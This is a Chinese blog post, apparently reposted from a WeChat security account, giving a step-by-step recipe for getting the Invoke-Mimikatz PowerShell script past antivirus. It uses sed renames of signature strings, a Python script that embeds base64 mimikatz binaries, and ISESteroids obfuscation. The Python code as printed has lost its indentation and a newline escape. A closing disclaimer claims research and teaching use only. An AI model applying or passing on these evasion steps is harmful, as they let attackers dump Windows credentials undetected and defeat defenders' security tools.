前几天看了tubai师傅的免杀抓密码,这里我也来分享一下mimiktaz的powershell脚本的免杀方法。
测试使用的mimikatz文件地址如下:
https://github.com/BC-SECURITY/Empire/blob/master/empire/server/data/module_source/credentials/Invoke-Mimikatz.ps1
首先,关于powershell脚本来说有很多现成的混淆工具(主流免杀方式就是混淆),比如chameleon、Invoke-Stealth、Chimera等等,但此类工具在混淆mimikatz时,或多或少会出现部分问题。于是我们这里手工对其进行免杀操作。
先对mimikatz的ps脚本执行基础的字符混淆
sed -i -e 's/Invoke-Mimikatz/Invoke-Mimidogz/g' Invoke-Mimikatz.ps1
sed -i -e '/<#/,/#>/c\' Invoke-Mimikatz.ps1
sed -i -e 's/^[[:space:]]*#.*$//g' Invoke-Mimikatz.ps1
sed -i -e 's/DumpCreds/DumpCred/g' Invoke-Mimikatz.ps1
sed -i -e 's/ArgumentPtr/NotTodayPal/g' Invoke-Mimikatz.ps1
sed -i -e 's/CallDllMainSC1/ThisIsNotTheStringYouAreLookingFor/g' Invoke-Mimikatz.ps1
sed -i -e "s/-Win32Functions $Win32Functions$/-Win32Functions $Win32Functions #-/g" Invoke-Mimikatz.ps1
弄完后一些基础的东西就算是混淆完成了,如果你想更新mimikatz,可以使用下面的py脚本进行更新
import fileinput
import base64
with open("./mimikatz_trunk/Win32/mimikatz.exe", "rb") as f:
win32 = base64.b64encode(f.read()).decode()
with open("./mimikatz_trunk/x64/mimikatz.exe", "rb") as f:
x64 = base64.b64encode(f.read()).decode()
for line in fileinput.FileInput("./Invoke-Mimikatz.ps1", inplace=1):
line = line.rstrip('rn')
if "$PEBytes64 = " in line:
print("$PEBytes64 = '" + x64 + "'")
elif "$PEBytes32 = " in line:
print("$PEBytes32 = '" + win32 + "'")
else:
print(line)
此时我们的mimikatz并不能绕过杀软,我们需要利用powershell ise自带的功能来进行后续操作
先来安装该模块,命令如下:
Install-Module -Name "ISESteroids" -Scope CurrentUser -Repository PSGallery -Force
安装好以后在ise输入
Start-Steroids
开启该模块
然后在工具中选择混淆代码
混淆即可,此时所有操作已经完成。
本文始发于微信公众号(鸿鹄实验室):再探mimikatz免杀
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论